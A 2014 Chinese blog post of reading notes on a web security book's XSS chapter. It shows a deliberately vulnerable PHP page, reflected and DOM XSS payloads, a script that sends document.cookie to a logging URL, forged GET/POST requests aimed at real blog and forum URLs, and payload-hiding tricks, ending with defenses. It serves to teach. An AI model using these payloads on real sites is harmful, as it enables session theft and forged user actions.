读《白帽子讲Web安全》之客户端脚本安全-XSS(二)

原创
2014/09/05 20:33
阅读数 742

注:测试可以选用Firefox 浏览器, 其他浏览器对一些运行效果做了限制。

摘要:

2、XSS按照效果不同可以分类

3、反射型XSS演示

4、DOM型 XSS演示

5、XSS Payload

6、运行JavaScript的几种方式

7、获取Web客户端信息

8、远程加载JS盗取cookie

9、JS构造GET请求

10、JS构造POST请求

11、识别浏览器插件

12、CSS hacker

13、获取真实IP

14、XSS Worm

15、XSS构造技巧

16、Flash XSS

17、XSS的防御


1、发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。


2、XSS按照效果不同可以分类

1)反射型XSS

2)存储型XSS

3)DOM Based XSS

实际上,这种XSS并非按照“数据是否保存在服务器端”来划分,DOM Based XSS按照效果上来说也是反射型XSS,是通过修改页面的DOM节点形成的XSS。


3、反射型XSS演示

xss1.html、xss1.php

payload:<script>alert(1)</script>

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<form action = "xss1.php" method = "get">
 <input id="param" name="param" type="text" />
 <input id="ok" type="submit" value="提交">
</form>
</body>
</html>
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>

4、DOM型 XSS演示

payload:'onclick=alert(/DOMxss/)//

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
 function test()
 {
  var str = document.getElementById("text").value;
  document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
 }
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()">
</body>
</html>

5、XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload 实际上就是JavaScript 脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload 都能做到。

6、运行JavaScript的几种方式

1)使用javascript:前缀构建执行JavaScript代码的URL。

如:过去有的浏览器支持URL地址栏直接输入 javascript:alert(document.cookie)

如:<a href="javascript:alert('运行JavaScript!');">运行Javascript</a>

2)使用<script../>元素来包含Javascript代码。

3)导入Javascript文件,然后文件中直接写执行代码就好了,不需要再加<script>标签。

<!DOCTYPE html>
<html>
<head>
</head>
<body>
 <a href="javascript:alert('运行Javascript!');">运行Javascript</a>
<script>
 alert("直接运行Javascript!");
</script>
<script src="test.js" type="text/javascript"></script>
</body>
</html>
test.js:
alert("这是外部导入的JS!");

7、获取Web客户端信息

alert(navigator.userAgent);

注意:

OS版本:Windows NT6.1 是 Windows 7 内核版本。WOW64 (Windows-on-Windows 64-bit)是一个Windows操作系统的子系统, 它为现有的 32 位应用程序提供了 32 位的模拟。证明这是64位Win7

目前微软已推出12个Windows NT操作系统,即将推出2个Windows NT操作系统。

  分别是:

  Microsoft Windows NT 3.1 (1993)

  Microsoft Windows NT 3.5 (1994)

  Microsoft Windows NT 3.51 (1995)

  Microsoft Windows NT 4.0 (1996)

  (从5.0版开始,Windows NT只是简单地称为Windows了,下面的版本是后来的版本)

  Microsoft Windows 2000 (Windows NT 5.0) (1999)

  Microsoft Windows XP (Windows NT 5.1) (2001)

  Microsoft Windows Server 2003 (Windows NT 5.2) (2003)

  Microsoft Windows Vista (Windows NT 6.0) (2006)

  Microsoft Windows Server 2008 (Windows NT 6.0) (2008)

  Microsoft Windows 7 (Windows NT 6.1) (2009)

  Microsoft Windows Server 2008 R2 (Windows NT 6.1) (2010)

  Microsoft Windows 8 (Windows NT 6.2) (测试中)

  Microsoft Windows 9(Windows NT 6.3)(目前微软有开发该系统的计划,预计2016年推出)

8、远程加载JS盗取cookie

test2.js:
var img = coeument.createElement("img"); 
img.src = "http://127.0.0.1/no?"+escape(document.cookie); 
document.body.appendChile(img);
不要求http://127.0.0.1/no存在,因为会在日志请求里留下一条记录。
这段代码在页面中插入了一张看不见的图片,然后把document.cookie对象作为参数传递给远程服务器。
现在控制台直接:document.cookie="userId=828"; 设置当前document的cookie。
改正后代码:
<!DOCTYPE html> 
<html> 
<head> 

</head> 
<body> 

<a href="javascript:alert('运行Javascript!');">运行Javascript</a> 
<script> 
var img = document.createElement("img"); 
img.src = "http://127.0.0.1/log?"+escape(document.cookie); 
document.body.appendChild(img); 
alert("直接运行Javascript!"); 
</script> 


</body> 
</html>

发现,请求后,日志中就存在了。

外部引用js:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
 <a href="javascript:alert('运行Javascript!');">运行Javascript</a>
<script>
 alert("直接运行Javascript!");
</script>
<script src="test2.js"></script>
</body>
</html>
test2.js:
var img = document.createElement("img"); 
img.src = "http://127.0.0.1/log?"+escape(document.cookie); 
document.body.appendChild(img);

下边一个是,也成功地拿到了cookie。

9、JS构造GET请求

var img = document.createElement("img"); 
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=15671234"; 
document.body.appendChild(img);

10、JS构造POST请求

方法一:构造一个form表单,然后自动提交这个表单

var f = document.createElement("form");
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement("input");
i1.name = "ck";
i1.value = "jiuy";
f.appendChild(i1);
var i2 = document.createElement("input");
i2.name = "mb_text";
i2.value = "testte";
f.appendChild(i2);
f.submit();

要是参数很多,这样构造DOM节点的方式,代码将会很长,所以,可以直接写HTML代码,这样会精简很多。

var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="hidden" value="JiUY" name="ck" />'+
'</form>'
document.getElementById("xssform").submit();

方法二:通过XMLHttpRequest 发送一个POST请求。

var url = "http://www.douban.com"; 
var postStr = "ck=JiUy&mb_text=test1234"; 

var ajax = null; 
if(window.XMLHttpRequest) 
{ 
ajax = new XMLHttpRequest(); 
} 
else if(window.ActiveXObject) 
{ 
ajax = new ActiveXObject("Microsoft.XMLHTTP"); 
} 
else 
{ 
return; 
} 

ajax.open("POST",url,true); 
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 
ajax.send(postStr)l; 

ajax.onreadystatechange = function() 
{ 
if (ajax.readyState == 4 && ajax.status == 200) 
{ 
alert("Done!"); 
} 
}

11、识别浏览器插件

关键代码:navigator.plugins   

12、CSS hacker

根据,访问和没访问的链接的CSS属性颜色其别,得知对方访问了哪些网站。

13、获取真实IP

很多时候,用户电脑使用了NAT或者代理服务器,网站看到的客户端IP不是真实的IP。

JavaScript本身并没有获取本地IP地址的能力,一般来说,XSS攻击需要借助第三方软件来完成。比如,客户端安装了JAVA环境(JRE),那么XSS就可以通过调用JavaApplet的接口获取客户端的本地IP地址。

比如,写一个Java Class,嵌入到当前页面中。

14、XSS Worm

一般来说,用户之间发生交互行为的页面,如果存在存储性XSS,则比较容易发起XSS Worm攻击。

15、XSS构造技巧

1)利用字符编码

2)绕过长度限制:比如用event事件激发,注释符的利用

3)使用<base>标签

该标签,定义页面上所有使用“相对路径”标签的hosting地址。

<base>标签可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。

4)window.name 的妙用

window.name 对象是浏览器的窗体,不是document对象,很多时候这个不收同源策略的限制。

比如:
window.name = "alert(document.cookie)";
然后XSS执行:
eval(name);

5)最常用的一个“藏代码的地方”,就是“location.hash”。而且根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器的Web日志中并不会记录下location.hash的内容,从而也更好地隐藏了黑客真实的意图。

16、Flash XSS:Flash是可以嵌入动态脚本的。

建议:安全的话,转成FLV格式的静态文件。

17、XSS的防御

1)HttpOnly

2)输入检查:XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。

3)输出检查

4)处理富文本:应该使用白名单,避免使用黑名单。



展开阅读全文
加载中

作者的其它热门文章

打赏
0
1 收藏
分享
打赏
0 评论
1 收藏
0
分享
返回顶部
顶部
返回顶部
顶部